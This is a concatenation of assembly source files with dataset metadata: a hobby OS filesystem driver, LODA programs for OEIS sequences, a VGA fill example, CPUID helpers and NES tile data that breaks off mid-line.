[ebx+Minnow5.Block_namePtr+0xE], 0 call Minnow5.writeBlock push dword .NEEDED_TO_REGENERATE_DISK_BLOCK_STR call iConsole2.Echo .aret : popa ret .NEEDED_TO_REGENERATE_DISK_BLOCK_STR : db "Minnow5 needed to regenerate a disk block (all files have been unlinked from the drive).", 0xA, 0 Minnow5.validateAndRegenerateRootFolder : methodTraceEnter pusha call Minnow5.getRootFolder cmp eax, null jne .allGood mov eax, [Minnow5.interface] mov [.driveFile+0x0], eax call Minnow5.getDiskBlock mov [.driveFile+0x4], eax mov eax, .driveFile mov ebx, .ROOT_FOLDER_NAME mov ecx, 0 call Minnow5.makeFolder .allGood : popa methodTraceLeave ret .ROOT_FOLDER_NAME : db "root", 0 .driveFile : dq 0x0 Minnow5.makeFolder : ; qword buffer (file) in eax, nameptr in ebx, attribs in ecx, returns eax = folderptr methodTraceEnter pusha push eax mov eax, [eax+0x0] ; drive call Minnow5.setInterfaceSmart pop eax mov eax, [eax+0x4] ; block mov dword [.base], eax mov dword [.attribs], ecx mov dword [.nameptr], ebx call Minnow5.findFreeBlock ; ebx = free block num mov dword [.block], ebx mov ebx, [Minnow5._dat] call Minnow5.readBlock ; base mov ecx, [.block] mov edx, [ebx+Minnow5.Block_innerPointer] mov [ebx+Minnow5.Block_innerPointer], ecx mov [.nextLinked], edx call Minnow5.writeBlock mov eax, [Minnow5._dat] mov ebx, 0x200 call Buffer.clear mov dword [eax+Minnow5.Block_signatureLow], "MINF" mov dword [eax+Minnow5.Block_signatureHigh], Minnow5.SIGNATURE_HIGH mov ecx, [.nextLinked] mov dword [eax+Minnow5.Block_nextPointer], ecx mov dword [eax+Minnow5.Block_type], Minnow5.BLOCK_TYPE_FOLDER mov dword [eax+Minnow5.Block_fileCount], 0 mov dword [eax+Minnow5.Block_innerPointer], null mov ecx, [.base] mov dword [eax+Minnow5.Block_upperPointer], ecx mov ecx, [.attribs] mov dword [eax+Minnow5.Block_attribs], ecx add eax, Minnow5.Block_namePtr mov ebx, [.nameptr] xchg eax, ebx call String.copy mov eax, [.block] mov ebx, [Minnow5._dat] call Minnow5.writeBlock popa mov eax, [.block] methodTraceLeave ret .base : dd 0x0 .block : dd 0x0 .nextLinked : dd 0x0 .attribs : dd 0x0 .nameptr : dd 0x0 Minnow5.makeFile : ; qword buffer (file) in eax, nameptr in ebx, attribs in ecx, returns eax=fileptr [should merge with makeFolder] methodTraceEnter pusha push eax mov eax, [eax+0x0] ; drive call Minnow5.setInterfaceSmart pop eax mov eax, [eax+0x4] ; block mov dword [.base], eax mov dword [.attribs], ecx mov dword [.nameptr], ebx call Minnow5.findFreeBlock mov dword [.block], ebx mov ebx, [Minnow5._dat] call Minnow5.readBlock ; base mov ecx, [.block] mov edx, [ebx+Minnow5.Block_innerPointer] mov [ebx+Minnow5.Block_innerPointer], ecx mov [.nextLinked], edx call Minnow5.writeBlock mov eax, [Minnow5._dat] mov ebx, 0x200 call Buffer.clear mov dword [eax], "MINF" mov dword [eax+Minnow5.Block_signatureHigh], Minnow5.SIGNATURE_HIGH mov ecx, [.nextLinked] mov dword [eax+Minnow5.Block_nextPointer], ecx mov dword [eax+Minnow5.Block_type], Minnow5.BLOCK_TYPE_FILE mov dword [eax+Minnow5.Block_byteSize], 0 mov dword [eax+Minnow5.Block_innerPointer], null mov ecx, [.base] mov dword [eax+Minnow5.Block_upperPointer], ecx mov ecx, [.attribs] mov dword [eax+Minnow5.Block_attribs], ecx add eax, Minnow5.Block_namePtr mov ebx, [.nameptr] xchg eax, ebx call String.copy mov eax, [.block] mov ebx, [Minnow5._dat] call Minnow5.writeBlock popa mov eax, [.block] methodTraceLeave ret .base : dd 0x0 .block : dd 0x0 .nextLinked : dd 0x0 .attribs : dd 0x0 .nameptr : dd 0x0 Minnow5.nameFile : ; qword buffer (file) in eax, nameptr in ebx pusha mov [.nameptr], ebx push eax mov eax, [eax+0x0] ; drive call Minnow5.setInterfaceSmart pop eax mov eax, [eax+0x4] ; block mov ebx, [Minnow5._dat] call Minnow5.readBlock mov ecx, ebx mov edx, eax add ebx, Minnow5.Block_namePtr mov eax, [.nameptr] call String.copy mov eax, edx mov ebx, ecx call Minnow5.writeBlock popa ret .nameptr : dd 0x0 Minnow5.getPathString : ; eax = qword buffer (file), ebx = buffer (string) pusha mov ecx, [eax+0x4] ; block mov eax, [eax+0x0] ; drive call Minnow5.setInterfaceSmart mov eax, ecx xor edx, edx mov [.strbuf], ebx .searchLoop : mov ebx, [Minnow5._dat] call Minnow5.readBlock cmp dword [ebx+Minnow5.Block_type], Minnow5.BLOCK_TYPE_FILE je .goPr cmp dword [ebx+Minnow5.Block_type], Minnow5.BLOCK_TYPE_FOLDER je .goPr cmp dword [ebx+Minnow5.Block_type], Minnow5.BLOCK_TYPE_DISK je .goPrDone jmp .noPr .goPr : push eax inc edx .noPr : mov eax, [ebx+Minnow5.Block_upperPointer] jmp .searchLoop .goPrDone : push eax inc edx mov ecx, edx ; number of blocks to print for in ecx mov dword [.offs], 0 .printLoop : pop eax ; current block dec ecx mov ebx, [Minnow5._dat] call Minnow5.readBlock ; mov ebx, eax add ebx, Minnow5.Block_namePtr call String.getLength ; len in edx mov eax, ebx mov ebx, [.strbuf] add ebx, [.offs] call String.copy mov byte [ebx+edx-1], '/' cmp dword [.offs], 0 jne .noChange mov byte [ebx+edx-1], ':' .noChange : add [.offs], edx cmp ecx, 0 ja .printLoop mov byte [ebx+edx-1], 0 popa ret .offs : dd 0x0 .strbuf : dd 0x0 Minnow5.setInterfaceSmart : ; interface in eax ret pusha cmp eax, [Minnow5.interface] je .noswap call Minnow5.setInterface cmp eax, Minnow5.DRIVE_LEGACY_BIOS jne .noPS2fix ; call Keyboard.poll .noPS2fix : .noswap : popa ret Minnow5.COMMAND_LIST_DISK : dd .str dd Minnow5.listDisks dd null .str : db "ldisk", 0 Minnow5.listDisks : methodTraceEnter enter 0, 0 pusha mov edx, 0 .loop : mov eax, edx call Minnow5.setInterfaceSmart call Minnow5.getDiskBlock mov ebx, [Minnow5._dat] call Minnow5.readBlock add ebx, Minnow5.Block_namePtr push ebx call iConsole2.Echo push .commastr call iConsole2.Echo inc edx cmp edx, Minnow5.NUMBER_OF_INTERFACES jb .loop popa leave methodTraceLeave ret 0 .commastr : db ", ", 0 Minnow5.getDiskByName : ; name in eax, return disk in eax methodTraceEnter enter 0, 0 push edx push ecx push ebx mov ecx, eax mov edx, 0 .loop : mov eax, edx call Minnow5.setInterfaceSmart call Minnow5.getDiskBlock mov ebx, [Minnow5._dat] call Minnow5.readBlock add ebx, Minnow5.Block_namePtr mov eax, ecx call os.seq cmp al, 1 jne .nomatch jmp .aret .nomatch : inc edx cmp edx, Minnow5.NUMBER_OF_INTERFACES jb .loop mov edx, -1 .aret : mov eax, edx pop ebx pop ecx pop edx leave methodTraceLeave ret 0 Minnow5.getBlockByName : ; root in eax, name in ebx, drive in ecx, return block in eax methodTraceEnter enter 0, 0 push edx push ecx push ebx mov [.root], eax ; edx is root mov [.name], ebx ; name is ebx mov eax, [Minnow5.interface] mov eax, ecx call Minnow5.setInterfaceSmart mov eax, [.root] mov ebx, [Minnow5._dat] call Minnow5.readBlock mov eax, [.name] cmp byte [eax], '^' ; upper folder jne .notUpper mov eax, [ebx+Minnow5.Block_upperPointer] jmp .aret .notUpper : mov eax, [.name] cmp byte [eax], '.' ; current folder jne .notCurrent mov eax, [.root] jmp .aret .notCurrent : mov eax, [ebx+Minnow5.Block_innerPointer] cmp eax, null jne .innerFound mov eax, -1 jmp .aret .innerFound : .checkLoop : call Minnow5.readBlock push eax push ebx mov eax, [.name] add ebx, Minnow5.Block_namePtr call os.seq cmp al, 1 jne .nomatch pop ebx pop eax jmp .aret .nomatch : pop ebx pop eax mov eax, [ebx+Minnow5.Block_nextPointer] cmp eax, null jne .checkLoop mov eax, -1 .aret : pop ebx pop ecx pop edx leave methodTraceLeave ret 0 .name : dd 0x0 .root : dd 0x0 Minnow5.getNext : ; block in eax, drive in ebx, return block in eax methodTraceEnter enter 0, 0 push edx push ecx push ebx mov edx, eax ; edx is root ; mov eax, [Minnow5.interface] mov eax, ebx call Minnow5.setInterfaceSmart mov eax, edx mov ebx, [Minnow5._dat] call Minnow5.readBlock mov eax, [ebx+Minnow5.Block_nextPointer] .aret : pop ebx pop ecx pop edx leave methodTraceLeave ret 0 Minnow5.getInner : ; block in eax, drive in ebx, return block in eax methodTraceEnter enter 0, 0 push edx push ecx push ebx mov edx, eax ; edx is root mov eax, [Minnow5.interface] mov eax, ebx call Minnow5.setInterfaceSmart mov eax, edx mov ebx, [Minnow5._dat] call Minnow5.readBlock mov eax, [ebx+Minnow5.Block_innerPointer] .aret : pop ebx pop ecx pop edx leave methodTraceLeave ret 0 Minnow5.getSize : ; block in eax, drive in ebx, return size in eax methodTraceEnter enter 0, 0 push edx push ecx push ebx mov edx, eax ; edx is root mov eax, [Minnow5.interface] mov eax, ebx call Minnow5.setInterfaceSmart mov eax, edx mov ebx, [Minnow5._dat] call Minnow5.readBlock mov eax, [ebx+Minnow5.Block_byteSize] .aret : pop ebx pop ecx pop edx leave methodTraceLeave ret 0 Minnow5.getBlockName : ; block in eax, drive in ebx, string buffer in ecx methodTraceEnter pusha mov edx, eax ; edx is root mov eax, ebx call Minnow5.setInterfaceSmart mov eax, edx mov ebx, [Minnow5._dat] call Minnow5.readBlock mov eax, ebx add eax, Minnow5.Block_namePtr mov ebx, ecx call String.copy popa methodTraceLeave ret Minnow5.byName : ; name in eax, qword buffer in/out in ebx. if ebx:drive or ebx:file is not null or -1, they will be used as a base (if not over-ridden) methodTraceEnter pusha mov [.base], eax mov byte [.done], false push eax mov eax, [Minnow5.interface] mov eax, [ebx+0x0] ; drive specified cmp eax, -1 je .noset call Minnow5.setInterfaceSmart .noset : pop eax .delimsLoop : cmp byte [eax], ':' jne .notDrive mov byte [eax], 0 push eax mov eax, [.base] call Minnow5.getDiskByName mov [ebx+0x0], eax ; set drive of the return mov dword [ebx+0x4], null ; ignore any specified file base, b/c drive was present this must be a FULL path pop eax inc eax mov [.base], eax dec eax mov byte [eax], ':' cmp dword [ebx+0x0], -1 ; return if drive not found je .ret cmp byte [eax+1], 0 jne .notDriveOnly mov dword [ebx+0x4], null jmp .ret .notDriveOnly : jmp .nextIter .notDrive : cmp byte [eax], '/' je .pathMark cmp byte [eax], 0 jne .notPathMark mov byte [.done], true .pathMark : mov byte [eax], 0 push eax mov eax, [ebx+0x4] ; current block cmp eax, -1 jne .ninvblockfix mov eax, null .ninvblockfix : mov ecx, [ebx+0x0] ; current drive mov edx, ebx mov ebx, [.base] ; name of next block call Minnow5.getBlockByName mov ebx, edx mov [ebx+0x4], eax pop eax cmp byte [.done], true je .ret cmp dword [ebx+0x4], -1 ; return if path part not found je .ret inc eax mov [.base], eax dec eax mov byte [eax], '/' .notPathMark : .nextIter : inc eax jmp .delimsLoop .ret : popa methodTraceLeave ret .name : dd 0x0 .base : dd 0x0 .done : dd 0x0 %include "../Tools/System/Minnow5FileDeletion.asm" %include "../Tools/System/Minnow5DataManipulation.asm" Minnow5.inited : dd 0x0 Minnow5.interface : dd 1 Minnow5._dat : dd 0x0 Minnow5.filesystemBase : dd 0x0 Minnow5.filesystemSize : dd 0x0 Minnow5.MFS_PARTITION_CODE equ 0x30 Minnow5.SIGNATURE_HIGH equ "S5.1" Minnow5.DRIVE_LEGACY_BIOS equ 0 Minnow5.DRIVE_AHCI equ 1 Minnow5.NUMBER_OF_INTERFACES equ 2 Minnow5.BLOCK_TYPE_DISK equ 0x30 Minnow5.BLOCK_TYPE_FOLDER equ 0x3A Minnow5.BLOCK_TYPE_FILE equ 0x3B Minnow5.BLOCK_TYPE_DATA equ 0x3C Minnow5.Block_signatureLow equ 0x00 Minnow5.Block_signatureHigh equ 0x04 Minnow5.Block_nextPointer equ 0x08 Minnow5.Block_discSignature equ 0x08 Minnow5.Block_upperPointer equ 0x0C Minnow5.Block_type equ 0x10 Minnow5.Block_byteSize equ 0x14 Minnow5.Block_fileCount equ 0x14 Minnow5.Block_data equ 0x14 Minnow5.Block_innerPointer equ 0x18 Minnow5.Block_attribs equ 0x1C Minnow5.Block_namePtr equ 0x20 Minnow5.ATTRIB_NO_WRITE equ 0x00 ; Currently no attributes are implemented. Minnow5.ATTRIB_NO_READ equ 0x01 Minnow5.ATTRIB_NO_VIEW equ 0x02 Minnow5.ATTRIB_DELETED equ 0x03 Minnow5.ATTRIB_WRITE_PROTECTED equ 0x04 Minnow5.ATTRIB_READ_PROTECTED equ 0x05 Minnow5.ATTRIB_VIEW_PROTECTED equ 0x06 Minnow5.ATTRIB_DELETE_PROTECTED equ 0x07 Minnow5.ATTRIB_IS_EXECUTABLE equ 0x08
20.061716
152
0.693088
50e02d95f9e674a9c86f56f19a7384102405206a
645
asm
Assembly
oeis/060/A060710.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/060/A060710.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/060/A060710.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A060710: Number of subgroups of dihedral group with 2n elements, counting conjugate subgroups only once, i.e., conjugacy classes of subgroups of the dihedral group. ; Submitted by Jon Maiga ; 2,5,4,8,4,10,4,11,6,10,4,16,4,10,8,14,4,15,4,16,8,10,4,22,6,10,8,16,4,20,4,17,8,10,8,24,4,10,8,22,4,20,4,16,12,10,4,28,6,15,8,16,4,20,8,22,8,10,4,32,4,10,12,20,8,20,4,16,8,20,4,33,4,10,12,16,8,20,4,28,10,10,4,32,8,10,8,22,4,30,8,16,8,10,8,34,4,15,12,24 add $0,1 mov $2,$0 lpb $0 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 add $1,$3 mov $4,2 gcd $4,$0 sub $0,1 lpb $4 add $1,$3 add $4,2 mod $4,3 lpe lpe mov $0,$1 add $0,2
26.875
254
0.612403
dc24af36f3a4e394f84c7cc3f5249adf00e1aeb0
377
asm
Assembly
programs/oeis/280/A280843.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/280/A280843.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/280/A280843.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A280843: a(n) = A049502(sigma(n)). ; 0,0,0,0,0,0,0,0,1,2,0,0,0,0,0,0,2,3,3,6,0,3,0,0,0,6,4,0,0,4,0,0,0,3,0,7,3,0,0,7,6,0,4,8,4,4,0,0,1,6,4,2,3,0,4,0,5,7,0,10,0,0,4,0,8,5,3,0,0,5,4,2,6,2,0,4,0,10,5,8,1,0,8,0,4,3,0,9,7,6,0,10,0,5,0,0,2,12,5,6 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). seq $0,49502 ; Major index of n, 2nd definition.
62.833333
205
0.572944
6b2734c1701d5b582d6caf7b5d737e42fcea75e5
401
asm
Assembly
examples/vga/e1.asm
crgimenes/assembly
0e0abbf68a44ae7e7c2e2c2a495c8a68ac072da5
[ "MIT" ]
1
2020-06-29T05:27:38.000Z
2020-06-29T05:27:38.000Z
examples/vga/e1.asm
crgimenes/assembly
0e0abbf68a44ae7e7c2e2c2a495c8a68ac072da5
[ "MIT" ]
null
null
null
examples/vga/e1.asm
crgimenes/assembly
0e0abbf68a44ae7e7c2e2c2a495c8a68ac072da5
[ "MIT" ]
3
2019-08-13T10:09:50.000Z
2022-02-24T16:43:22.000Z
mov ax,012h ;VGA mode int 10h ;640 x 480 16 colors. mov ax,0A000h mov es,ax ;ES points to the video memory. mov dx,03C4h ;dx = indexregister mov ax,0F02h ;INDEX = MASK MAP, out dx,ax ;write all the bitplanes. mov di,0 ;DI pointer in the video memory. mov cx,38400 ;(640 * 480)/8 = 38400 mov ax,0FFh ;write to every pixel. rep stosb ;fill the screen mov ah,4ch ;go back int 21h ; to DOS.
28.642857
42
0.693267
8c7723208c5297c590d7c92aeb5cce00e0d4c9ff
3,593
asm
Assembly
programs/oeis/268/A268947.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/268/A268947.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/268/A268947.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A268947: Number of length-6 0..n arrays with no repeated value unequal to the previous repeated value plus one mod n+1. ; 22,396,2780,11950,38322,101192,232696,482490,923150,1656292,2819412,4593446,7211050,10965600,16220912,23421682,33104646,45910460,62596300,84049182,111300002,145538296,188127720,240622250,304783102,382596372,476291396,588359830,721575450,879014672,1064077792,1280510946,1532428790,1824337900,2161160892,2548261262,2991468946,3497106600,4072016600,4723588762,5459788782,6289187396,7220990260,8265068550,9431990282,10733052352,12180313296,13786626770,15565675750,17532007452,19701068972,22089243646,24713888130,27593370200,30747107272,34195605642,37960500446,42064596340,46531908900,51387706742,56658554362,62372355696,68558398400,75247398850,82471547862,90264557132,98661706396,107699891310,117417672050,127855322632,139054880952,151060199546,163916997070,177672910500,192377548052,208082542822,224841607146,242710587680,261747521200,282012691122,303568684742,326480451196,350815360140,376643261150,404036543842,433070198712,463821878696,496371961450,530803612350,567202848212,605658601732,646262786646,689110363610,734299406800,781931171232,832110160802,884944197046,940544488620,999025701500,1060506029902,1125107267922,1192954881896,1264178083480,1338909903450,1417287266222,1499451065092,1585546238196,1675721845190,1770131144650,1868931672192,1972285319312,2080358412946,2193321795750,2311350907100,2434625864812,2563331547582,2697657678146,2837798907160,2983954897800,3136330411082,3295135391902,3460585055796,3632899976420,3812306173750,3999035203002,4193324244272,4395416192896,4605559750530,4824009516950,5051026082572,5286876121692,5531832486446,5786174301490,6050187059400,6324162716792,6608399791162,6903203458446,7208885651300,7525765158100,7854167722662,8194426144682,8546880380896,8911877646960,9289772520050,9680927042182,10085710824252,10504501150796,10937683085470,11385649577250,11848801567352,12327548096872,12822306415146,13333502088830,13861569111700,14406950015172,14970095979542,15551466945946,16151531729040,16770768130400,17409663052642,18068712614262,18748422265196,19449306903100,20171890990350,20916708671762,21684303893032,22475230519896,23290052458010,24129343773550,24993688814532,25883682332852,26799929607046,27743046565770,28713659912000,29712407247952,30739937200722,31796909548646,32883995348380,34001877062700,35151248689022,36332815888642,37547296116696,38795418752840,40077925232650,41395569179742,42749116538612,44139345708196,45567047676150,47033026153850,48538097712112,50083091917632,51668851470146,53296232340310,54966103908300,56679349103132,58436864542702,60239560674546,62088361917320,63984206803000,65928048119802,67920853055822,69963603343396,72057295404180,74202940494950,76401564854122,78654209848992,80961932123696,83325803747890,85746912366150,88226361348092 mov $2,$0 mov $4,$0 sub $0,$0 add $0,$2 add $2,1 add $0,$2 mov $2,0 add $2,$0 trn $3,$0 add $3,$2 mov $1,$3 lpb $0,1 sub $0,2 add $1,$0 lpe add $1,21 mov $5,$4 mov $8,77 lpb $8,1 add $1,$5 sub $8,1 lpe mov $7,$4 lpb $7,1 add $6,$5 sub $7,1 lpe mov $5,$6 mov $8,125 lpb $8,1 add $1,$5 sub $8,1 lpe mov $6,0 mov $7,$4 lpb $7,1 add $6,$5 sub $7,1 lpe mov $5,$6 mov $8,106 lpb $8,1 add $1,$5 sub $8,1 lpe mov $6,0 mov $7,$4 lpb $7,1 add $6,$5 sub $7,1 lpe mov $5,$6 mov $8,50 lpb $8,1 add $1,$5 sub $8,1 lpe mov $6,0 mov $7,$4 lpb $7,1 add $6,$5 sub $7,1 lpe mov $5,$6 mov $8,12 lpb $8,1 add $1,$5 sub $8,1 lpe mov $6,0 mov $7,$4 lpb $7,1 add $6,$5 sub $7,1 lpe mov $5,$6 mov $8,1 lpb $8,1 add $1,$5 sub $8,1 lpe
42.270588
2,712
0.830504
e118752b0b483574f62f885e92811061cf4b08e1
605
asm
Assembly
programs/oeis/281/A281664.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/281/A281664.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/281/A281664.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A281664: Numbers k such that A000005(k) = A000005(A000217(k)). ; 1,2,6,10,18,22,30,42,46,58,66,70,78,82,102,106,126,130,138,150,162,166,178,190,198,210,222,226,238,250,262,270,282,306,310,330,346,358,366,378,382,418,430,438,442,462,466,478,486,490,498,502,522,546,562,570,586,598,606,618,630,642,646,658,682,690,718,726,738,742,750,786,810,822,826,838,858,862,882,886,906,910,918,946,966,970,982,990,1018,1030,1038,1050,1062,1086,1090,1102,1122,1150,1162,1170 lpb $0 add $2,1 sub $0,$2 mov $1,$0 max $1,0 seq $1,97538 ; Subtract 2 from primes == 3 (mod 4). add $2,$1 lpe add $1,1 mov $0,$1
43.214286
396
0.687603
0f3dfb4efdeaad13fc3c24f4a19aa71f0815d160
2,336
asm
Assembly
kernel/cpuinfo.asm
Anne1231/yurios
4e55c25b4b0cb0fec35cb416574997d7f2527485
[ "MIT" ]
1
2020-10-20T10:44:29.000Z
2020-10-20T10:44:29.000Z
kernel/cpuinfo.asm
Anne1231/yurios
4e55c25b4b0cb0fec35cb416574997d7f2527485
[ "MIT" ]
7
2016-12-08T14:56:37.000Z
2017-02-01T15:00:23.000Z
kernel/cpuinfo.asm
Anne1231/yurios
4e55c25b4b0cb0fec35cb416574997d7f2527485
[ "MIT" ]
null
null
null
[BITS 32] ;;; CPUの情報とかを調べるアセンブリ関数群 global cpu_vendor global cpu_geneinfo_sub global cpu_cache_sub global cpu_brand_string ;;; CPUベンダと拡張性を調べるアセンブリ関数 ;;; void cpu_vendor(u32_t *ebx, u32_t *ecx, u32_t *edx); cpu_vendor: ;; バックアップ push ebx push ecx push edx push esi ;; CPUベンダと拡張性を調べるため0x00を代入 mov eax, 0x00 ;; CPUIDを実行 cpuid ;; eaxをバックアップ mov esi, eax ;; 引数のポインタに結果を代入 mov eax, [esp+20] mov [eax], ebx mov eax, [esp+24] mov [eax], ecx mov eax, [esp+28] mov [eax], edx ;; 元に戻す mov eax, esi pop esi pop edx pop ecx pop ebx ret ;;; CPUの基本情報を調べるアセンブリ関数 ;;; void cpu_geneinfo_sub(u32_t *ebx, u32_t *ecx, u32_t *edx); cpu_geneinfo_sub: ;;バックアップ push ebx push ecx push edx push esi ;;CPUの基本的な情報を得るためにwaxに0x01を代入 mov eax, 0x01 ;;CPUIDを実行 cpuid mov esi, eax ;; 引数のポインタに結果を代入 mov eax, [esp+20] mov [eax], ebx mov eax, [esp+24] mov [eax], ecx mov eax, [esp+28] mov [eax], edx ;; 元に戻す mov eax, esi pop esi pop edx pop ecx pop ebx ret ;;; CPUのキャッシュ情報を得る関数 ;;; void cpu_cache_sub(u32_t *ebx, u32_t *ecx, u32_t *edx); cpu_cache_sub: ;;バックアップ push ebx push ecx push edx push esi ;;CPUの基本的な情報を得るためにwaxに0x01を代入 mov eax, 0x02 ;;CPUIDを実行 cpuid mov esi, eax ;; 引数のポインタに結果を代入 mov eax, [esp+20] mov [eax], ebx mov eax, [esp+24] mov [eax], ecx mov eax, [esp+28] mov [eax], edx ;; 元に戻す mov eax, esi pop esi pop edx pop ecx pop ebx ret ;;; CPUのブランドストリングを取得する関数 ;;; i32_t cpu_brand_string(char *string); cpu_brand_string: ;;バックアップ push ebx push ecx push edx push esi ;; CPUIDの拡張命令に対応しているか判定 mov eax, 0x01 ;; CPUIDを実行 cpuid and eax, 0x80000000 jz not_support ;; 以下ブランドストリング取得の拡張CPUID命令に対応している場合 ;; CPUID実行後、EAXレジスタにCPUID拡張機能の最大インデックスがセットされる ;; プロセッサブランドストリングに対応しているかどうか sub eax, 0x80000004 jz not_support ;; プロセッサブランドストリングに対応している mov eax, 0x80000002 cpuid mov esi, eax mov eax, [esp+20] mov [eax], esi mov [eax+4], ebx mov [eax+8], ecx mov [eax+12], edx mov eax, 1 jmp cpuid_end not_support: ;; ブランドストリング取得の拡張CPUID命令に対応していない mov eax, -1 jmp cpuid_end cpuid_end: pop esi pop edx pop ecx pop ebx ret
16.805755
64
0.626284
986975ad80cbe5b8865745dbe3ed60e80b9e3f67
1,487
asm
Assembly
programs/oeis/282/A282213.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/282/A282213.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/282/A282213.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A282213: Coefficients in q-expansion of (E_2^3*E_4 - 3*E_2^2*E_6 + 3*E_2*E_4^2 - E_4*E_6)/3456, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively. ; 0,1,72,756,4672,15750,54432,117992,299520,551853,1134000,1772892,3532032,4829006,8495424,11907000,19173376,24142482,39733416,47052740,73584000,89201952,127648224,148048056,226437120,246109375,347688432,402320520,551258624,594847710,857304000,887533472,1227128832,1340306352,1738258704,1858374000,2578257216,2565777062,3387797280,3650728536,4717440000,4750173162,6422540544,6321442556,8282951424,8691684750,10659460032,10779319152,14495072256,13881758457,17719875000,18251716392,22561116032,22164510006,28967077440,27923049000,35340963840,35571871440,42829035120,42180739020,55629504000,51520601342,63902409984,65114239176,78536507392,76056844500,96502057344,90458682932,112793675904,111924330336,133802928000,128100641832,165291010560,151334615306,184735948464,186058687500,219830401280,209187072864,262852454592,243087948560,301980672000,293292190521,342012467664,326940945156,416751519744,380244091500,455143864032,449704868760,531016611840,496981995930,625801302000,569784075952,691680517632,670975304832,776110978944,741080655000,927709396992,832972917602,999486608904,978375768876 mov $1,$0 seq $1,281372 ; Coefficients in q-expansion of (E_2*E_4 - E_6)/720, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively. mov $2,$0 mul $0,$1 mul $0,$2
165.222222
1,087
0.855414
b84e850d23a7aa57b60d329f699c2320c70b1fdb
4,032
asm
Assembly
assets/_diamond.asm
hundredrabbits/Donsol
0945e1d4f3a7bad1c1a71a48b70ec86f80188a38
[ "MIT" ]
113
2016-12-01T14:03:21.000Z
2022-02-18T09:12:49.000Z
assets/_diamond.asm
hundredrabbits/Donsol
0945e1d4f3a7bad1c1a71a48b70ec86f80188a38
[ "MIT" ]
18
2016-11-30T15:15:38.000Z
2020-04-16T10:30:30.000Z
assets/_diamond.asm
hundredrabbits/Donsol
0945e1d4f3a7bad1c1a71a48b70ec86f80188a38
[ "MIT" ]
20
2016-11-30T02:59:14.000Z
2022-02-18T09:13:17.000Z
background: .db $81,$82,$82,$82,$82,$83,$00,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$81,$82,$82,$82,$82,$83,$00 .db $85,$43,$86,$86,$86,$87,$00,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$85,$43,$86,$86,$86,$87,$00 .db $85,$46,$86,$86,$86,$87,$00,$85,$47,$86,$86,$86,$87,$85,$48,$86,$86,$86,$87,$85,$49,$86,$86,$86,$87,$85,$4a,$86,$86,$86,$87,$00 .db $85,$86,$86,$86,$86,$87,$00,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$00 .db $85,$86,$43,$86,$86,$87,$00,$85,$86,$43,$86,$86,$87,$85,$86,$43,$86,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$00 .db $85,$86,$86,$43,$86,$87,$00,$85,$86,$86,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$85,$86,$43,$43,$86,$87,$00 .db $85,$86,$86,$86,$86,$87,$00,$85,$86,$43,$86,$86,$87,$85,$86,$43,$86,$86,$87,$85,$86,$86,$43,$86,$87,$85,$86,$43,$43,$86,$87,$00 .db $85,$86,$86,$86,$86,$87,$00,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$85,$86,$86,$86,$86,$87,$00 .db $89,$8a,$8a,$8a,$8a,$8b,$00,$89,$8a,$8a,$8a,$8a,$8b,$89,$8a,$8a,$8a,$8a,$8b,$89,$8a,$8a,$8a,$8a,$8b,$89,$8a,$8a,$8a,$8a,$8b,$00 .db 